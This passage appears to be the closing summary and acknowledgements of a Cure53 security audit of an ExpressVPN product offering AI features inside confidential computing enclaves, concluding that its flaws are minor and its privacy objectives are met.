Notably, many of the flaws identified across the various work packages are easy to address, and do not represent design issues that would require complex alterations. Further, a number of this report’s findings were already rectified during the testing phase, demonstrating a strong commitment to security and responsiveness from the ExpressVPN team. In review of the initial requirements, Cure53 concludes that the product meets its stated privacy objectives by providing modern AI capabilities within confidential computing enclaves, where user interactions are processed in cryptographically isolated contexts.

Cure53 would like to thank Brian Schirmacher, Nathan Hartzell, Kenneth Tan, Roy Nativ, and Greg Smith from the ExpressVPN team for their excellent project coordination, support and assistance, both before and during this assignment.